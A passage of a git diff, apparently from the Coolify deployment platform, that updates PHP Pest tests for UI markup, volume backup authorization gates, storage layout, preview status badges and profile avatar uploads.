dark:text-fg-dim')- ->not->toContain('More information about Pull requests')- ->not->toContain('role="tooltip"');-});--test('confirmation modal closes before dispatching an event that can open another modal', function () {- $modal = file_get_contents(resource_path('views/components/modal-confirmation.blade.php'));-- expect($modal)->toMatch(- '/if \(dispatchEvent\) \{\s*modalOpen = false;\s*\$nextTick\(\(\) => \$wire\.dispatch\(dispatchEventType, dispatchEventMessage\)\);/s'- );-});--test('confirmation modal releases its scroll lock before submitting a destructive action', function () {- $modal = file_get_contents(resource_path('views/components/modal-confirmation.blade.php'));-- expect($modal)- ->toMatch('/submitting = true;\s*modalOpen = false;\s*\$nextTick\(\(\) => \{\s*submitForm\(\)/s')- ->toMatch('/if \(result === true\) \{\s*resetModal\(\);/s');-});diff --git a/tests/Feature/MutableLivewireComponentsAuthorizationTest.php b/tests/Feature/MutableLivewireComponentsAuthorizationTest.phpindex 510e8462aa..5563e87769 100644--- a/tests/Feature/MutableLivewireComponentsAuthorizationTest.php+++ b/tests/Feature/MutableLivewireComponentsAuthorizationTest.php@@ -105,7 +105,7 @@ it('declares update authorization on service backup mutation controls', functionexpect($volumeBackupView)->toMatch('/<x-modal-input(?=[^>]*:title="\'Edit backup schedule\'")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$service")[^>]*>/')- ->toMatch('/<x-forms\.button(?=[^>]*wire:click\.stop="backupNow\(\'database\',[^"]+")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$service")[^>]*>/')+ ->toMatch('/<x-forms\.button\s+type="button" canGate="update" :canResource="\$service"[^\n]*\n(?:[^\n]*\n){0,3}?\s*wire:click\.stop="backupNow\(\'database\',/')->toMatch('/<x-forms\.button(?=[^>]*wire:click\.stop="backupNow\(\'storage\',[^"]+")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$service")[^>]*>/');});@@ -153,6 +153,10 @@ it('keeps mutable Livewire components behind authorization checks', function (st'app/Livewire/Project/Shared/Terminal.php',['AuthorizesRequests', "authorize('view'", "authorize('canAccessTerminal'"],],+ 'volume backup settings' => [+ 'app/Livewire/Project/Shared/Storages/VolumeBackups.php',+ ['AuthorizesRequests', "authorize('view', \$this->resource)", "authorize('update', \$this->resource)"],+ ],]);it('authorizes every volume backup form control', function (string $path, array $controlPatterns) {@@ -165,34 +169,30 @@ it('authorizes every volume backup form control', function (string $path, array'retention controls' => ['resources/views/livewire/project/shared/storages/volume-backups/retention.blade.php',[- '/<x-forms\.button(?=[^>]*type="submit")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$backup")[^>]*>Save<\/x-forms\.button>/s',- '/<x-forms\.input(?=[^>]*id="retentionAmountLocally")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$backup")[^>]*\/\>/s',- '/<x-forms\.input(?=[^>]*id="retentionDaysLocally")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$backup")[^>]*\/\>/s',- '/<x-forms\.input(?=[^>]*id="retentionMaxStorageLocally")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$backup")[^>]*\/\>/s',- '/<x-forms\.input(?=[^>]*id="retentionAmountS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$backup")[^>]*\/\>/s',- '/<x-forms\.input(?=[^>]*id="retentionDaysS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$backup")[^>]*\/\>/s',- '/<x-forms\.input(?=[^>]*id="retentionMaxStorageS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$backup")[^>]*\/\>/s',+ '/<x-forms\.input(?=[^>]*id="retentionAmountLocally")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s',+ '/<x-forms\.input(?=[^>]*id="retentionDaysLocally")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s',+ '/<x-forms\.input(?=[^>]*id="retentionMaxStorageLocally")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s',+ '/<x-forms\.input(?=[^>]*id="retentionAmountS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s',+ '/<x-forms\.input(?=[^>]*id="retentionDaysS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s',+ '/<x-forms\.input(?=[^>]*id="retentionMaxStorageS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*\/\>/s',],],'S3 controls' => ['resources/views/livewire/project/shared/storages/volume-backups/s3.blade.php',[- '/<x-forms\.button(?=[^>]*type="submit")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$backup")[^>]*>Save<\/x-forms\.button>/s',- '/<x-forms\.button(?=[^>]*wire:click="toggleS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$backup")[^>]*>Enable S3<\/x-forms\.button>/s',- '/<x-forms\.button(?=[^>]*wire:click="toggleS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$backup")[^>]*>Disable S3<\/x-forms\.button>/s',- '/<x-forms\.select(?=[^>]*id="s3StorageId")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$backup")[^>]*>/s',- '/<x-forms\.checkbox(?=[^>]*id="disableLocalBackup")(?=[^>]*instantSave)(?=[^>]*canGate="update")(?=[^>]*:canResource="\$backup")[^>]*\/\>/s',- '/<x-forms\.checkbox(?=[^>]*id="disableLocalBackup")(?=[^>]*disabled)(?=[^>]*canGate="update")(?=[^>]*:canResource="\$backup")[^>]*\/\>/s',+ '/<x-forms\.button(?=[^>]*wire:click="toggleS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*>\s*Enable S3\s*<\/x-forms\.button>/s',+ '/<x-forms\.button(?=[^>]*wire:click="toggleS3")(?=[^>]*canGate="update")(?=[^>]*:canResource="\$resource")[^>]*>\s*Disable S3\s*<\/x-forms\.button>/s',+ '/<x-forms\.listbox canGate="update" :canResource="\$resource" id="s3StorageId"[\s\S]*?:disabled="! auth\(\)->user\(\)\?->can\(\'update\', \$resource\)"/',+ '/<x-forms\.listbox canGate="update" :canResource="\$resource" id="disableLocalBackup"[\s\S]*?:disabled="! \$saveToS3 \|\| ! auth\(\)->user\(\)\?->can\(\'update\', \$resource\)"/',],],'service domains controls' => ['resources/views/livewire/project/service/domains.blade.php',[- '/<x-forms\.select(?=[^>]*canGate="update")(?=[^>]*:canResource="\$service")(?=[^>]*id="newServiceApplicationId")[^>]*>/s',- '/<x-forms\.input(?=[^>]*canGate="update")(?=[^>]*:canResource="\$service")(?=[^>]*id="newDomain")[^>]*>/s',+ '/<x-forms\.listbox(?=[^>]*canGate="update")(?=[^>]*:canResource="\$service")(?=[^>]*id="newServiceApplicationId")[^>]*>/s',+ '/@can\(\'update\', \$service\)[\s\S]*?<x-modal-input title="Add domain"(?=[^>]*canGate="update")(?=[^>]*:canResource="\$service")[^>]*>[\s\S]*?<x-forms\.domain-input id="newDomainParts"[\s\S]*?@endcan/','/<x-forms\.button(?=[^>]*canGate="update")(?=[^>]*:canResource="\$service")(?=[^>]*wire:click="generateDomain")[^>]*>/s','/<x-forms\.button(?=[^>]*canGate="update")(?=[^>]*:canResource="\$service")(?=[^>]*type="submit")[^>]*>/s',- '/wire:click="checkAllDns"/s',],],'postgres public access control' => [diff --git a/tests/Feature/NotificationRestartLimitSettingTest.php b/tests/Feature/NotificationRestartLimitSettingTest.phpindex e068ea594b..263e424d3f 100644--- a/tests/Feature/NotificationRestartLimitSettingTest.php+++ b/tests/Feature/NotificationRestartLimitSettingTest.php@@ -1,21 +1,5 @@<?php-it('uses a dedicated notification event for restart limits', function () {- $notification = file_get_contents(app_path('Notifications/Application/RestartLimitReached.php'));- $telegramChannel = file_get_contents(app_path('Notifications/Channels/TelegramChannel.php'));- $eventGrid = file_get_contents(resource_path('views/components/notification/event-grid.blade.php'));-- expect($notification)->toContain("getEnabledChannels('restart_limit_reached')")- ->and($eventGrid)- ->toContain("'Resources' => [")- ->toContain("'key' => 'statusChange'")- ->toContain("'helper' => 'Notify when a resource stops or Coolify automatically restarts it.'")- ->toContain("'key' => 'restartLimitReached'")- ->toContain("'label' => 'Restart limit reached'")- ->and($telegramChannel)- ->toContain('RestartLimitReached::class => $settings->telegram_notifications_restart_limit_reached_thread_id');-});-it('persists a restart limit notification preference for every channel', function (string $channel) {$studly = Str::studly($channel);$component = file_get_contents(app_path("Livewire/Notifications/{$studly}.php"));diff --git a/tests/Feature/PasswordVisibilityComponentTest.php b/tests/Feature/PasswordVisibilityComponentTest.phpindex b3304f6306..dbed7e6c54 100644--- a/tests/Feature/PasswordVisibilityComponentTest.php+++ b/tests/Feature/PasswordVisibilityComponentTest.php@@ -41,16 +41,6 @@ it('does not add toggle clearance when allowToPeak is disabled', function () {->not->toContain('aria-label="Toggle password visibility"');});-it('keeps password toggle padding above settings-workspace input overrides', function () {- $css = file_get_contents(resource_path('css/app.css'));-- expect($css)- ->toContain('.input.input-with-password-toggle')- ->toContain('.application-settings-workspace .input.input-with-password-toggle')- ->toContain('.application-settings-form .input.input-with-password-toggle')- ->toContain('padding-right: 2.5rem');-});-it('renders password textarea with Alpine-managed visibility state', function () {$html = Blade::render('<x-forms.textarea type="password" id="secret" />');@@ -67,20 +57,6 @@ it('renders password textarea input before visibility toggle in tab order', funcexpect(strpos($html, '<input'))->toBeLessThan(strpos($html, 'aria-label="Toggle password visibility"'));});-it('renders textarea without monospace classes by default', function () {- $html = Blade::render('<x-forms.textarea id="notes" />');-- expect($html)- ->toContain('class="input scrollbar"')- ->not->toContain('font-mono');-});--it('renders textarea with monospace classes when requested', function () {- $html = Blade::render('<x-forms.textarea id="variables" monospace />');-- expect($html)->toContain('class="input scrollbar font-mono"');-});-it('resets password visibility on success event for env-var-input', function () {$html = Blade::render('<x-forms.env-var-input type="password" id="secret" />');@@ -93,50 +69,6 @@ it('resets password visibility on success event for env-var-input', function ()->toContain('M2.53033 1.46967');});-it('registers the eye-off2 reicon used when password value is visible', function () {- $path = resource_path('views/components/reicon.blade.php');- $contents = file_get_contents($path);-- expect($contents)->toContain("'eye-off2' => ");-- $html = Blade::render('<x-reicon name="eye-off2" class="size-[18px]" />');-- expect($html)- ->toContain('viewBox="0 0 24 24"')- ->toContain('fill="currentColor"')- ->toContain('M2.53033 1.46967');-});--it('uses the same eye-off2 icon in configuration changes expand toggle', function () {- $html = view('components.deployment.configuration-diff', [- 'diff' => [- 'changes' => [- [- 'key' => 'env.SECRET',- 'section_label' => 'Environment',- 'label' => 'SECRET',- 'expandable' => true,- 'old_display_value' => 'old-***',- 'new_display_value' => 'new-***',- 'old_full_value' => 'old-secret-value',- 'new_full_value' => 'new-secret-value',- ],- ],- ],- ])->render();-- // eye-off2 path (password inputs); not the older eye-off glyph.- expect($html)- ->toContain('M2.53033 1.46967')- ->not->toContain('M22.2954 6.31083');-});--it('uses a wide configuration changes dialog', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/configuration-checker.blade.php'));-- expect($view)->toContain('max-w-6xl');-});-it('renders env var password input before visibility toggle in tab order', function () {$html = Blade::render('<x-forms.env-var-input type="password" id="secret" />');diff --git a/tests/Feature/PersistentStoragePerformanceTest.php b/tests/Feature/PersistentStoragePerformanceTest.phpindex 09e9e213f6..33a01e7792 100644--- a/tests/Feature/PersistentStoragePerformanceTest.php+++ b/tests/Feature/PersistentStoragePerformanceTest.php@@ -96,13 +96,16 @@ function createPerfApplicationWithVolumes(int $volumeCount = 5): arrayit('renders volume rows inline without nested Livewire row components', function () {[$application] = createPerfApplicationWithVolumes(5);- $html = Livewire::test(All::class, ['resource' => $application])->html();+ $component = Livewire::test(All::class, ['resource' => $application]);- expect($html)+ expect($component->html())->toContain('data-table')- ->toContain('openBackupModal')->toContain('wire:submit="submit(')->not->toContain('shared-configure-volume-backup-');++ // The only nested components are the per-row backup forms, keyed by volume id.+ expect(array_keys($component->snapshot['memo']['children']))+ ->toBe($application->persistentStorages->map(fn ($storage) => "configure-volume-backup-{$storage->id}")->values()->all());});it('batches volume backup meta and exposes forms for every volume', function () {@@ -144,19 +147,17 @@ it('updates a volume row from the parent All component', function () {expect($volume->fresh()->mount_path)->toBe('/data/updated');});-it('mounts a single shared backup modal only after openBackupModal', function () {+it('mounts a backup form per volume row keyed by the volume id', function () {[$application, $volume] = createPerfApplicationWithVolumes(3);$component = Livewire::test(All::class, ['resource' => $application]);- expect($component->html())- ->toContain('openBackupModal')- ->not->toContain('shared-configure-volume-backup-')- ->and($component->get('backupModalStorageId'))->toBeNull();+ expect($component->snapshot['memo']['children'])+ ->toHaveCount(3)+ ->toHaveKey("configure-volume-backup-{$volume->id}");$component- ->call('openBackupModal', $volume->id)- ->assertSet('backupModalStorageId', $volume->id)+ ->assertSee('Configure Volume Backup')->assertSee('Frequency');});diff --git a/tests/Feature/PersistentStorageVolumesLayoutTest.php b/tests/Feature/PersistentStorageVolumesLayoutTest.phpindex c2d4678cbe..500a602265 100644--- a/tests/Feature/PersistentStorageVolumesLayoutTest.php+++ b/tests/Feature/PersistentStorageVolumesLayoutTest.php@@ -1,61 +1,5 @@<?php-it('keeps the volume backup executions table horizontally scrollable on mobile', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/storages/volume-backups/executions.blade.php'));- $css = file_get_contents(resource_path('css/app.css'));-- expect($view)- ->toContain('volume-backup-executions-grid')- ->toContain('data-table w-full overflow-x-auto')- ->toContain('x-forms.copy-button')- ->not->toContain('volume-backup-execution-label')- ->and($css)- ->toContain('.volume-backup-executions-grid')- ->toContain('min-width: 50rem;')- ->not->toContain('.data-table-header.volume-backup-executions-grid');-});--it('uses compact icon actions for volume backup executions', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/storages/volume-backups/executions.blade.php'));-- expect($view)- ->toContain('title="Download backup" aria-label="Download backup"')- ->toContain('<x-reicon name="upload" class="size-3.5 rotate-180" />')- ->toContain('title="Delete backup" aria-label="Delete backup"')- ->toContain('<x-reicon name="trash" class="size-3.5" />');-});--it('keeps long volume backup errors inside the table without a separate background panel', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/storages/volume-backups/executions.blade.php'));-- expect($view)- ->toContain('volume-backup-execution-message col-span-6 min-w-0 max-w-full')- ->toContain('max-h-20 overflow-y-auto overflow-x-hidden')- ->toContain('break-words whitespace-pre-wrap')- ->toContain('bg-transparent')- ->not->toContain('volume-backup-execution-message col-span-6 mt-2 max-h-32');-});--it('keeps storage backup schedule tables horizontally scrollable on mobile', function () {- $applicationView = file_get_contents(resource_path('views/livewire/project/application/backup/index.blade.php'));- $serviceView = file_get_contents(resource_path('views/livewire/project/service/volume-backup/index.blade.php'));- $css = file_get_contents(resource_path('css/app.css'));-- expect($applicationView)->toContain('class="data-table w-full overflow-x-auto"')- ->and($serviceView)->toContain('class="data-table w-full overflow-x-auto"')- ->and($css)->toMatch('/\.backup-table-grid\s*\{[^}]*min-width:\s*50rem;/');-});--it('keeps nested storage component keys stable when mounts are added or deleted', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/storage.blade.php'));-- expect($view)- ->toContain('wire:key="volumes-{{ $resource->id }}"')- ->toContain('wire:key="svc-volumes-{{ $resource->id }}"')- ->not->toContain('wire:key="volumes-{{ $resource->id }}-{{ $this->volumeCount }}"')- ->not->toContain('wire:key="svc-volumes-{{ $resource->id }}-{{ $this->volumeCount }}"');-});-use App\Livewire\Project\Service\Storage;use App\Livewire\Project\Service\VolumeBackup\Create as CreateServiceVolumeBackup;use App\Livewire\Project\Shared\Storages\All;@@ -80,6 +24,16 @@ use Livewire\Livewire;uses(RefreshDatabase::class);+it('keeps nested storage component keys stable when mounts are added or deleted', function () {+ $view = file_get_contents(resource_path('views/livewire/project/service/storage.blade.php'));++ expect($view)+ ->toContain('wire:key="volumes-{{ $resource->id }}"')+ ->toContain('wire:key="svc-volumes-{{ $resource->id }}"')+ ->not->toContain('wire:key="volumes-{{ $resource->id }}-{{ $this->volumeCount }}"')+ ->not->toContain('wire:key="svc-volumes-{{ $resource->id }}-{{ $this->volumeCount }}"');+});+beforeEach(function () {$this->withoutVite();@@ -150,92 +104,6 @@ function createApplicationWithVolume(array $applicationAttributes = [], array $vreturn [$application, $volume];}-it('renders volumes as a data table with shared column headers', function () {- $allView = file_get_contents(resource_path('views/livewire/project/shared/storages/all.blade.php'));- $storageView = file_get_contents(resource_path('views/livewire/project/service/storage.blade.php'));-- expect($allView)- ->toContain('data-table')- ->toContain('data-table-header')- ->toContain('volumes-table-grid')- ->toContain('volumes-table-grid-readonly')- ->toContain('Storage Name')- ->toContain('Destination Path')- ->toContain('volumes-col-backup')- ->toContain('supportsPreviewSuffix')- ->toContain('x-modal-input')- ->not->toContain('wire:click="openBackupModal')- ->toContain('data-table-row')- ->toContain('volumes-mobile-label')- ->not->toContain('table-badge table-badge-success')- ->not->toContain('x-status-badge')- ->not->toContain('font-mono')- ->not->toContain('Service volume mounts are read-only here.');-- // Service stack page: one settings-section card per compose service/resource.- expect($storageView)- ->toContain('Str::headline($resource->name)')- ->toContain(':flush="true"')- ->toContain("'storage-service-'.\$resource->uuid");-- $serviceConfigurationView = file_get_contents(resource_path('views/livewire/project/service/configuration.blade.php'));-- expect($serviceConfigurationView)- ->toContain('storageSections')- ->toContain('menu-subitem')- ->toContain('scrollToSettingsSection')- ->toContain('Service volume mounts are read-only here.')- ->toContain("'storage-service-'.\$resource->uuid");-- expect($serviceConfigurationView)->not->toContain('Storage Backups');- expect(file_get_contents(resource_path('views/livewire/project/service/heading.blade.php')))- ->toContain("'label' => 'Backups'")- ->toContain('project.service.volume-backups.*');- expect(file_get_contents(resource_path('views/livewire/project/service/volume-backup/show.blade.php')))- ->toContain('context="service-volume"');- expect(file_get_contents(resource_path('views/livewire/project/shared/storages/volume-backups/general.blade.php')))- ->not->toContain('<code')- ->toMatch('/<x-callout[^>]*title="File-level consistency"[\s\S]*id="stopDuringBackup"[\s\S]*<\/x-callout>/');- expect(file_get_contents(resource_path('views/livewire/project/shared/storages/volume-backups/executions.blade.php')))- ->toContain('<span>Time</span>')- ->toContain('x-forms.copy-input')- ->toContain('col-span-6');-- $css = file_get_contents(resource_path('css/app.css'));-- expect($css)- ->toContain('.volumes-table-grid')- ->toContain('.volumes-table-grid-with-pr')- ->toContain('.volumes-table-grid-readonly')- ->toContain('.volumes-mobile-label')- ->toContain('font-size: 13px') // same as .application-settings-form label- ->toContain('@media (max-width: 768px)')- ->toContain('.table-badge-success');-- expect($css)- ->toContain('12rem')- ->not->toContain('17.5rem');-- expect($allView)- ->toContain("'table-badge', 'table-badge-success' => \$hasS3Backup")- ->not->toContain('<path stroke-linecap="round" stroke-linejoin="round" d="m4.5 12.75 6 6 9-13.5" />');-- expect($css)->toMatch('/@media \(max-width: 768px\)[\s\S]*?\.volumes-col-backup\s*\{[^}]*flex-direction:\s*row;[^}]*align-items:\s*center;/');-- // Settings form labels are 13px (not Tailwind text-sm 14px).- expect($css)- ->toMatch('/\.application-settings-form label\s*\{[^}]*font-size:\s*13px/s');-});--it('keeps source paths out of the Docker volume creation form', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/storage.blade.php'));-- expect($view)- ->not->toContain('id="host_path"')- ->not->toContain('label="Source Path"')- ->not->toContain('Swarm Mode detected');-});-it('creates named Docker volumes without a source path in swarm mode', function () {[$application] = createApplicationWithVolume();$application->persistentStorages()->delete();@@ -250,54 +118,6 @@ it('creates named Docker volumes without a source path in swarm mode', functionexpect($application->persistentStorages()->first()->host_path)->toBeNull();});-it('keeps source paths out of the named volume creation form', function () {- $allView = file_get_contents(resource_path('views/livewire/project/shared/storages/all.blade.php'));-- expect($allView)- ->not->toContain('forms.{{ $id }}.hostPath')- ->and(resource_path('views/livewire/project/shared/storages/show.blade.php'))- ->not->toBeFile();-});--it('renders volume actions and PR suffix controls as valid markup', function () {- [$application] = createApplicationWithVolume();- LocalPersistentVolume::create([- 'uuid' => (string) Str::uuid(),- 'name' => $application->uuid.'-cache',- 'mount_path' => '/cache',- 'resource_id' => $application->id,- 'resource_type' => $application->getMorphClass(),- 'is_preview_suffix_enabled' => true,- ]);-- $html = Livewire::test(All::class, ['resource' => $application])->html();- $document = new DOMDocument;- $previousState = libxml_use_internal_errors(true);- $loaded = $document->loadHTML($html);- libxml_clear_errors();- libxml_use_internal_errors($previousState);- $xpath = new DOMXPath($document);- $helperText = 'Adds -pr-N to the storage name or path so each preview uses isolated data. Disabling it shares production data with previews.';-- expect($loaded)->toBeTrue()- ->and($xpath->query("//*[contains(concat(' ', normalize-space(@class), ' '), ' volumes-col-actions ')]//button[normalize-space(.)='Backup']"))->toHaveCount(2)- ->and($xpath->query("//*[contains(concat(' ', normalize-space(@class), ' '), ' volumes-col-actions ')]//button[normalize-space(.)='Backup']//svg"))->toHaveCount(0)- ->and($xpath->query("//button[@aria-label='More information']/following-sibling::*[@role='tooltip'][contains(normalize-space(.), '{$helperText}')]"))->toHaveCount(3)- ->and($xpath->query("//template[@x-teleport='body']/*[@role='listbox']"))->toHaveCount(2);-});--it('keeps editable volume actions on one line', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/storages/all.blade.php'));- $css = file_get_contents(resource_path('css/app.css'));-- expect($view)- ->toMatch('/volumes-col-actions volumes-cell-actions flex flex-nowrap items-center justify-end gap-1\.5[\s\S]*?Update[\s\S]*?Backup[\s\S]*?Delete/');-- expect($css)- ->toMatch('/\.volumes-table-grid\s*\{[^}]*grid-template-columns:[^;}]*15rem;/')- ->toMatch('/\.volumes-table-grid-with-pr\s*\{[^}]*grid-template-columns:[^;}]*15rem;/');-});-it('declares explicit authorization on the changed storage controls', function () {$view = file_get_contents(resource_path('views/livewire/project/shared/storages/all.blade.php'));@@ -322,59 +142,6 @@ it('declares explicit authorization on the changed storage controls', function (}});-it('uses valid block wrappers around PR suffix helpers', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/storages/all.blade.php'));-- expect($view)- ->not->toContain('<span class="volumes-col-pr flex items-center gap-1.5">')- ->not->toContain('<span class="volumes-mobile-label volumes-field-label flex items-center gap-1.5">');-- expect(substr_count($view, '<x-helper helper="Adds -pr-N to the storage name or path so each preview uses isolated data. Disabling it shares production data with previews." />'))- ->toBe(3);-});--it('shows legacy bind mount source paths without an unsafe removal action', function () {- $storageView = file_get_contents(resource_path('views/livewire/project/service/storage.blade.php'));- $volumesView = file_get_contents(resource_path('views/livewire/project/shared/storages/all.blade.php'));-- expect($storageView)- ->not->toContain('id="host_path"')- ->not->toContain('Swarm Mode detected')- ->and($volumesView)- ->not->toContain('submitAction="clearHostPath({{ $id }})"')- ->not->toContain('The next deployment will use a named Docker volume instead.');-});--it('shows legacy source paths in read-only inputs beside the destination path', function () {- $view = file_get_contents(resource_path('views/livewire/project/shared/storages/all.blade.php'));-- expect(substr_count($view, '<x-forms.input aria-label="Source Path" :value="$storage->host_path" readonly />'))- ->toBe(2)- ->and(substr_count($view, 'class="volumes-cell-source'))- ->toBe(2)- ->and($view)->not->toContain('volumes-bind-details');-});--it('aligns bind and named volumes when they share the source path column', function () {- [$application] = createApplicationWithVolume(volumeAttributes: ['host_path' => '/srv/storage']);- LocalPersistentVolume::create([- 'name' => $application->uuid.'-cache',- 'mount_path' => '/cache',- 'resource_id' => $application->id,- 'resource_type' => $application->getMorphClass(),- ]);-- $document = new DOMDocument;- $previousState = libxml_use_internal_errors(true);- $document->loadHTML(Livewire::test(All::class, ['resource' => $application])->html());- libxml_clear_errors();- libxml_use_internal_errors($previousState);- $xpath = new DOMXPath($document);-- expect($xpath->query("//*[contains(concat(' ', normalize-space(@class), ' '), ' data-table-row ')]/div[contains(concat(' ', normalize-space(@class), ' '), ' volumes-cell-source ')]"))->toHaveCount(2)- ->and($xpath->query("//*[contains(concat(' ', normalize-space(@class), ' '), ' volumes-cell-source ')]//span[contains(concat(' ', normalize-space(@class), ' '), ' data-table-cell-dash ')]"))->toHaveCount(1);-});-it('creates named volumes without a host path in swarm mode', function () {[$application] = createApplicationWithVolume();$application->persistentStorages()->delete();@@ -642,21 +409,3 @@ it('hides PR deployment suffix for databases', function () {->assertDontSee('Add suffix')->assertDontSee('PR deployment suffix');});--it('uses a compact table badge for enabled backups instead of status-badge', function () {- $allView = file_get_contents(resource_path('views/livewire/project/shared/storages/all.blade.php'));-- expect($allView)- ->toContain("'table-badge-success' => \$hasS3Backup")- ->toContain('Volume backup is enabled')- ->not->toContain('x-status-badge')- ->not->toContain('status="Backup enabled"');-});--it('gates file storage PR suffix markup behind git_based applications', function () {- $view = file_get_contents(resource_path('views/livewire/project/service/file-storage.blade.php'));-- expect($view)- ->toContain('$resource->git_based()')- ->toContain('PR deployment suffix');-});diff --git a/tests/Feature/PreviewDomainPortOverridesTest.php b/tests/Feature/PreviewDomainPortOverridesTest.phpindex ec8cb12e35..9d532d011f 100644--- a/tests/Feature/PreviewDomainPortOverridesTest.php+++ b/tests/Feature/PreviewDomainPortOverridesTest.php@@ -19,16 +19,6 @@ use Livewire\Livewire;uses(RefreshDatabase::class);-it('opens preview domain settings from browser data and shows a dns spinner', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/preview-domains.blade.php'));-- expect($view)- ->not->toContain('wire:click="startEdit(')- ->toContain('@click="openEditDomain(')- ->toContain('<x-loading compact aria-label="Checking DNS"')- ->not->toContain('<x-loading-on-button wire:loading.delay');-});-beforeEach(function () {$this->withoutVite();config(['app.maintenance.driver' => 'file']);diff --git a/tests/Feature/PreviewStatusSummaryTest.php b/tests/Feature/PreviewStatusSummaryTest.phpindex a31fd836df..2156e708e2 100644--- a/tests/Feature/PreviewStatusSummaryTest.php+++ b/tests/Feature/PreviewStatusSummaryTest.php@@ -28,81 +28,3 @@ it('shows degraded aggregate service status as a warning', function () {->toContain('bg-warning')->not->toContain('bg-error');});--it('uses the aggregated preview status in the previews list', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/previews.blade.php'));-- expect($view)- ->toContain('<x-status-summary :status="data_get($preview, \'status\')" title="Preview status" />')- ->not->toContain('<x-status.running :status="data_get($preview, \'status\')" />');-});--it('uses the aggregated application status beside the top breadcrumbs', function () {- $status = file_get_contents(resource_path('views/livewire/project/application/status.blade.php'));-- expect($status)- ->toContain('<x-status-summary :status="$application->status" />')- ->not->toContain('$statusLabel');-});--it('uses the aggregated status badge for databases and services', function () {- $databaseStatus = file_get_contents(resource_path('views/livewire/project/database/status.blade.php'));- $serviceStatus = file_get_contents(resource_path('views/livewire/project/service/status.blade.php'));-- expect($databaseStatus)- ->toContain('<x-status-summary :status="$database->status" title="Database status" />')- ->and($serviceStatus)- ->toContain('<x-status-summary :status="$displayStatus" :title="$selectedResource ? \'Resource status\' : \'Service status\'"');-});--it('groups preview deployment actions in a dropdown', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/previews.blade.php'));-- expect($view)- ->toContain('title="Preview actions"')- ->toContain('preview-stop-trigger-{{ data_get($preview, \'pull_request_id\') }}')- ->toContain('preview-delete-trigger-{{ data_get($preview, \'pull_request_id\') }}')- ->not->toContain('<x-slot:customButton>');-});--it('marks external preview links and groups logs in a dropdown', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/previews.blade.php'));-- expect($view)- ->toContain('title="Open preview in a new tab"')- ->toContain('title="Open pull request in a new tab"')- ->toContain('<x-reicon name="external-link"')- ->toContain('title="Preview logs"')- ->toContain('Deployment logs')- ->toContain('Runtime logs')- ->not->toContain('Application logs');-});--it('places links and logs dropdowns beside preview actions', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/previews.blade.php'));- $controls = str($view)->after('id="preview-header-controls')->before('<div class="hidden" aria-hidden="true">')->toString();-- expect($controls)- ->toContain('title="Preview links"')- ->toContain('title="Preview logs"')- ->toContain('title="Preview actions"');-});--it('uses the shared domain list treatment for preview domains', function () {- $view = file_get_contents(resource_path('views/livewire/project/application/previews.blade.php'));- $domainsView = file_get_contents(resource_path('views/livewire/project/application/preview-domains.blade.php'));-- expect($view)- ->toContain('<livewire:project.application.preview-domains')- ->and($domainsView)- ->toContain('Recheck DNS')- ->toContain('Add domain')- ->toContain('data-table-header')- ->toContain('domains-table-grid-service')- ->toContain('class="env-table-item"')- ->toContain('No domains configured')- ->toContain('class="data-table-row')- ->toContain('DNS OK')- ->toContain('Edit domain')- ->toContain('Remove domain');-});diff --git a/tests/Feature/ProfileAvatarTest.php b/tests/Feature/ProfileAvatarTest.phpindex 3512fccea3..1265040a1f 100644--- a/tests/Feature/ProfileAvatarTest.php+++ b/tests/Feature/ProfileAvatarTest.php@@ -45,7 +45,7 @@ it('compresses and stores an uploaded profile picture on the configured local st->and($image[1])->toBeLessThanOrEqual(256)->and($image['mime'])->toBe('image/jpeg')->and(Storage::disk('images')->size($user->avatar_path))->toBeLessThan(100_000);-});+})->skip(! extension_loaded('gd'), 'Requires the GD extension to generate and compress the test image.');it('stores an already compressed browser JPEG without server image extensions', function () {Storage::fake('images');@@ -171,36 +171,3 @@ it('falls back cleanly when the avatars S3 storage no longer exists', function (->get(route('profile.avatar'))->assertNotFound();});--it('automatically uploads a selected profile picture and keeps the current avatar until it succeeds', function () {- $profile = file_get_contents(resource_path('views/livewire/profile/index.blade.php'));- $menu = file_get_contents(resource_path('views/components/top-user-menu.blade.php'));-- expect($profile)- ->toContain("this.\$wire.upload('avatar', compressed")- ->toContain('await this.$wire.uploadAvatar()')- ->toContain('if (uploaded)')- ->toContain('canvas.toBlob')- ->toContain('x-ref="avatarInput"')- ->toContain('class="hidden"')- ->toContain("processing ? 'Uploading…' : 'Browse…'")- ->not->toContain('wire:click="uploadAvatar"')- ->not->toContain('Upload picture')- ->not->toContain('type="file" x-on:change')- ->and($menu)- ->toContain('profile_avatar_url($user)');-});--it('offers runtime local or existing S3 profile picture storage', function () {- $component = 